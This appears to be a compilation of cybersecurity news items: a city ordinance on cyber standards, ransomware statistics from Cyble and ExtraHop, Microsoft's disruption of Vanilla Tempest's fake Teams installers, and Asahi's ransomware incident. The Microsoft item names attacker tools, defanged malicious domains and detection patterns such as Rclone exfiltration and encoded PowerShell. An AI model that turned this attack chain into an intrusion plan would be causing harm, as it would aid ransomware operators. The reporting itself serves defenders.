Jason Segedy, North Canton’s deputy director of administration, stated that the proposed legislation primarily serves to codify cybersecurity measures the city has already implemented. “This initiative serves to formalize our approach and document it,” Segedy said, adding that the city has taken a proactive stance by exceeding the baseline standards required by the state.  Over the past two years, North Canton has partnered with AtNet Plus of Stow, a managed IT and cybersecurity firm that has guided the city’s efforts to enhance its digital infrastructure and mitigate potential vulnerabilities. “We’re quite assured in the robust procedures we’ve structured,” Segedy added. 

City Leadership’s Response

Mayor Matt Stroia acknowledged that, to date, North Canton has not been the victim of a ransomware attack. However, he admitted that the question of whether to pay a ransom in the event of such an incident remains complex. “It’s a challenging question to resolve,” Stroia said. “Fortunately, we’ve never been in that dilemma.”  City Council Clerk Liam Ott echoed that sentiment, expressing confidence that the city is already compliant with most of the state’s cybersecurity requirements. “I don’t believe there’s anything we have not already implemented,” Ott stated.  During the same session, the Finance and Property Committee, chaired by Jeff Peters with Stephanie Werren as vice chair, is expected to consider Ordinance 55-2025, which authorizes the mayor to enter into a contract for professional auction services. The ordinance will be amended to include an additional obsolete vehicle, a 2002 Ford F-350 Dump Truck, scheduled to be auctioned beginning November 19, 2025. 

Strengthening Municipal Resilience

Segedy highlighted the importance of the state’s decision to keep cybersecurity records confidential. “One can appreciate that a hacker would seek insight into our protocols,” he noted. “Thus, this safeguard from the state is prudent.”  Once approved, the City Council’s resolution will empower the mayor to implement uniform cybersecurity measures immediately, ensuring North Canton meets the state’s stringent cybersecurity standards ahead of the January 2026 deadline.  As Metheney remarked, the legislation represents not only compliance but also a necessary step toward protecting North Canton’s residents, services, and digital infrastructure in an era of growing cyber threats. 

Ransomware attacks have soared 50% in 2025 despite major changes among the leading ransomware groups, according to a new Cyble report. Through October 21, there have been 5,010 ransomware attacks claimed by ransomware groups on their dark web data leak sites, up from 3,335 in the same period of 2024, according to a Cyble blog post. “From the decline of RansomHub to the rise of Qilin and newcomers like Sinobi and The Gentlemen, ransomware group leadership has been in flux for much of 2025, but affiliates have been quick to find new opportunities, and a steady supply of critical vulnerabilities has helped fuel attacks,” Cyble said. The threat intelligence company noted that its new threat landscape report (registration required) also documents record data breaches and supply chain attacks, as the cyber landscape has become more dangerous in general this year.

Qilin Led All Ransomware Groups Once Again

September marked the fifth consecutive monthly increase in ransomware attacks, and Qilin led all ransomware groups for the fifth time in six months, as the group has solidified its leadership in the wake of RansomHub's decline. In all, ransomware groups claimed 474 victims in September, up slightly from August (chart below). That’s well below February’s record, “yet still among the highest monthly ransomware attack totals on record,” Cyble said. [caption id="attachment_106294" align="aligncenter" width="723"] Ransomware attacks by month 2021-2025 (Cyble)[/caption] The U.S. remains by far the biggest target for ransomware groups, with its 259 victims accounting for nearly 55% of attacks in September (chart below). Germany, France, Canada, Spain, Italy and the UK remain consistent targets, but South Korea emerged a new major target, in second place behind the U.S. with 32 attacks, largely due to one campaign by Qilin. [caption id="attachment_106292" align="aligncenter" width="936"] Ransomware attacks by country September 2025 (Cyble)[/caption] Of the 32 South Korean attacks recorded in September, 29 came from Qilin’s “KoreanLeak” campaign that targeted asset management companies in the country. Cyble noted that “One of the asset management firms said its systems were impacted through a ransomware attack on its IT management provider, indicating a possible supply chain compromise affecting multiple firms simultaneously.” The campaign also made South Korea by far the most attacked country in the APAC region in September, well ahead of India, Thailand and Taiwan. Qilin’s South Korean campaign made Banking, Financial Services and Insurance (BFSI) the third most attacked sector in September, behind Construction and Manufacturing and ahead of Professional Services, IT and Healthcare (chart below). [caption id="attachment_106296" align="aligncenter" width="936"] Ransomware attacks by sector September 2025 (Cyble)[/caption]

The Emergence of The Gentlemen Ransomware Group

Qilin led all ransomware groups with 99 claimed victims, 40 ahead of second-place Akira (chart below). [caption id="attachment_106298" align="aligncenter" width="936"] Top ransomware groups September 2025 (Cyble)[/caption] The emergence of The Gentlemen was a noteworthy development, a new group that has claimed 46 victims to date. “The group’s use of custom tools targeting specific security vendors and the geographic diversity of its targets ... suggests that the group may have the resources to become an enduring threat,” Cyble said. The full Cyble blog detailed 11 significant ransomware incidents in September, including some with supply chain implications, and also included recommendations for defenders.

Fewer organizations are paying the ransom when confronted with a ransomware attack – but those that do make ransomware payments are paying much more. That’s one of the takeaways from ExtraHop’s new 2025 Global Threat Landscape Report, which also looked at the riskiest attack surfaces, dwell times, initial attack vectors, and more. The report, which the NDR vendor conducted with Censuswide, is based on a July 2025 survey of 1,800 security and IT decision-makers in midsize and large organizations in seven countries.

Average Ransom Payment Tops $3.6 Million

The survey found that while organizations are experiencing fewer ransomware incidents – and fewer are paying ransoms – those organizations that do pay are paying $1.1 million more than they did last year, up from $2.5 million to more than $3.6 million, an increase of more than 40%. While 70% of respondents said their organization paid a ransom, there was an overall decline in the number of ransomware payments for the first time, and the number of organizations that say that they didn’t pay a ransom tripled from 9% last year to 30% this year. Also on the plus side, the organizations overall reported fewer ransomware incidents, with their organizations experiencing between five and six ransomware incidents each within the previous 12 months, down roughly 25% from nearly eight incidents in 2024. However, the percentage of organizations hit with 20 or more ransomware incidents tripled, rising to 3% year-over-year. Healthcare and government organizations were among those facing a greater number of attacks. Cyble’s ransomware data, which is based on ransomware group claims on their dark web data leak sites, show that ransomware attacks are up 50% so far this year from the same period of 2024. The average ransom amount varied by country, with UAE organizations, for example, facing an average of seven ransomware incidents, with paid ransoms averaging $5.4 million. Australia organizations, on the other hand, experienced the fewest ransomware incidents in the report, averaging just four per year, and ransomware payments averaged $2.5 million. The healthcare sector had the highest payouts at $7.5 million, followed by the government sector (just under $7.5 million) and the finance sector ($3.8 million). Respondents also struggled with ransomware detection, as more than 30% of respondents didn’t detect that they were being targeted by ransomware until data exfiltration had begun.

Riskiest Attack Surfaces and Entry Points

The report found that the public cloud, third-party risks, and GenAI were the riskiest attack surfaces (chart below). [caption id="attachment_106198" align="aligncenter" width="808"] Riskiest attack surfaces (ExtraHop)[/caption] “As organizations rapidly adopt emerging technologies, navigate complex device interdependencies, and manage sprawling supply chains, their IT infrastructures become inherently more complex,” the report said. “This escalating complexity inevitably leads to a larger attack surface.” Phishing and social engineering were the most common initial point of entry for attackers at 33.7%, followed by software vulnerabilities (19.4%), third-party/supply chain compromise (13.4%), and compromised credentials (12.2%) (chart below). [caption id="attachment_106199" align="aligncenter" width="827"] Initial attack vectors (ExtraHop)[/caption]

Microsoft said it disrupted a high-volume campaign in October after discovering a coordinated effort by the ransomware group known as Vanilla Tempest to weaponize fraudulently signed installers that impersonated Microsoft Teams.

The company revoked more than 200 code-signing certificates the group had used to make malicious binaries look legitimate, and Defender products now detect the fake installers, the Oyster backdoor and the Rhysida ransomware the actor used to extort victims.

Microsoft’s telemetry first flagged the Vanilla Tempest, also tracked as VICE SPIDER and Vice Society, campaign in late September 2025 after it saw months of misuse of trusted signing infrastructure.

Investigators observed attackers hosting counterfeit Teams installers on look-alike domains — for example, teams-download[.]buzz, teams-install[.]run and teams-download[.]top — and using search-engine poisoning to surface those pages to unsuspecting users. Running a fake MSTeamsSetup.exe delivered a loader that staged the fraudulently signed Oyster backdoor; Oyster in turn enabled data collection, lateral movement and final deployment of Rhysida ransomware.

Security teams found the operational chain notable for its focus on trust infrastructure. The actors obtained signatures through a mix of compromised or abused signing services and third-party providers, Microsoft reported.

The campaign used Trusted Signing and legitimate certificate authorities, including SSL[.]com, DigiCert and GlobalSign, to sign both the fake installers and post-compromise tools beginning in early September. Because the binaries carried legitimate signatures, the files bypassed some naïve allow-lists and lowered the bar for user execution.

Microsoft said its AV detected the fake setup files, Oyster artifacts and Rhysida encryption activities, while its endpoint solution flagged the tactics, techniques and procedures (TTPs) Vanilla Tempest used during the attacks. The company revoked the misused certificates and pushed detection rules to customers, actions that Microsoft called essential to blunt the operation quickly.

Ransomware Main Tool in Vanilla Tempest's Arsenal

Vanilla Tempest has a long catalog of ransomware activity and extortion operations. Cybersecurity firm Cyble) tracked the group’s activity back to at least June 2021. Operators targeted education, healthcare and manufacturing — sectors where downtime and data theft generate urgent pressure to negotiate — and they have previously deployed families such as BlackCat, Quantum Locker and Zeppelin.

Also read: Vice Society: A Growing Threat to Schools, Warns the FBI

In recent months they pivoted toward a sustained Rhysida campaign; Microsoft’s findings show how the group layered social engineering, SEO poisoning and code-signing fraud to seed their intrusion vector.

The attack chain Microsoft outlined matched a common pattern for modern ransomware operations. Compromise or mimic a trusted application, establish a stealthy foothold with a signed loader, escalate privileges and spread via remote tools, then encrypt and exfiltrate.

In previously observed incidents, the threat actor has pushed remote administration tooling — examples include SimpleHelp and MeshAgent — to support reconnaissance and hands-on keying, then used living-off-the-land techniques and utilities such as PsExec and Impacket for lateral movement. The earlier campaigns also saw other tools being used for reconnaissance (Advanced Port Scanner, PowerSploit scripts) and for exfiltration or staging (Rclone).

Detection guidance Microsoft shared included hunting for anomalous installers that invoked unsigned or atypically signed libraries, unexpected network connections to uncommon Teams download domains, new service installs, and process trees that spawned PowerShell with encoded command lines or initiated Rclone transfers. Microsoft also recommended auditing for unusual certificate activity in the organization — for example, new code-signing certificates issued to unknown entities or sudden signer changes for frequently used installers.

Cyble researchers noted the operation illustrated two broader trends. First, attackers increasingly targeted the trust chain — certificates, legitimate installers and vendor branding — because breaking trust reduces the friction for initial compromise. Second, defenders must expand visibility beyond network and endpoint telemetry to include supply-chain signals like certificate transparency logs, content-delivery origin records and search-result poisoning indicators.

Researched and written by Heimdal founder Morten Kjaersgaard, this article exposes how even limited cooperation between registry bodies and law enforcement could cripple ransomware networks and raise the cost for cybercriminals. This article serves as a wake-up call. Even limited cooperation between registry bodies and law enforcement could cripple ransomware networks and raise the cost […]

The post Where Ransomware Profits Go and How to Cut Them Off appeared first on Heimdal Security Blog.

Japanese beverage and food giant Asahi Group Holdings has confirmed that a ransomware attack has disrupted its operations and may have led to a leak of personal and financial data. The Asahi Group cyberattack has forced the company to delay the release of its financial results for the January–September period, which was originally scheduled for November 12, 2025. The cyberattack on Asahi Group, which occurred on September 29, 2025, caused a major system disruption across Asahi’s domestic operations, suspending automated order and shipment processes. Despite the challenges, the company has prioritized maintaining product supply and has begun manual order processing and partial shipments to customers.

Asahi Group Cyberattack Claimed by Qilin

A hacker group calling itself Qilin claimed responsibility for the ransomware attack on October 7, alleging it had stolen more than 9,300 data files, including employee personal information and financial records. The following day, Asahi confirmed that some of the data claimed to be stolen was indeed found online. Investigations are ongoing to determine the extent of the Asahi Group data breach and the nature of the compromised data. The company stated that while the incident impacted its technology infrastructure in Japan, there is currently no indication that systems or data outside Japan were affected. “As part of our ongoing investigation, we have confirmed that data suspected to have been transferred without authorization has been found on the internet,” the company said. “We are conducting investigation to determine the nature and scope of the information that may have been subject to unauthorized transfer. Should the investigation confirm any impact from unauthorized data transfer, notifications will be delivered promptly.”

Operational Recovery Underway

The Asahi Group ransomware attack temporarily halted operations at Asahi’s domestic production facilities. However, gradual recovery efforts have been underway since early October.

• Asahi Breweries resumed production at all six of its factories on October 2, with partial shipments of Asahi Super Dry restarting soon after. From October 15, shipments of other products such as Asahi Draft Beer and Asahi Dry Zero are set to partially resume.
• Asahi Soft Drinks began partial production at six of its seven domestic factories by October 8, and all seven factories are expected to resume operations by October 9.
• Asahi Group Foods has also partially resumed production at all seven of its domestic facilities.

Despite these progress updates, Asahi’s systems have yet to be fully restored, and no clear timeline for complete recovery has been provided. The Asahi Group cyberattack has also delayed access to critical accounting-related data, which has impacted the company’s ability to finalize its third-quarter financial reports.

Financial Reporting Delayed

In its official statement, Asahi Group said the delay in its financial disclosures was necessary to ensure accuracy and compliance. “The Company sincerely apologizes for any inconvenience this postponement may cause to its shareholders, investors, and other stakeholders,” the statement read. The firm added that it is reviewing the impact of the system disruption on its financial performance and will announce a new disclosure date once restoration efforts progress further. The company has assured that updates regarding the Asahi Group cyberattack, its financial results, and any confirmed data exposures will be made promptly and transparently.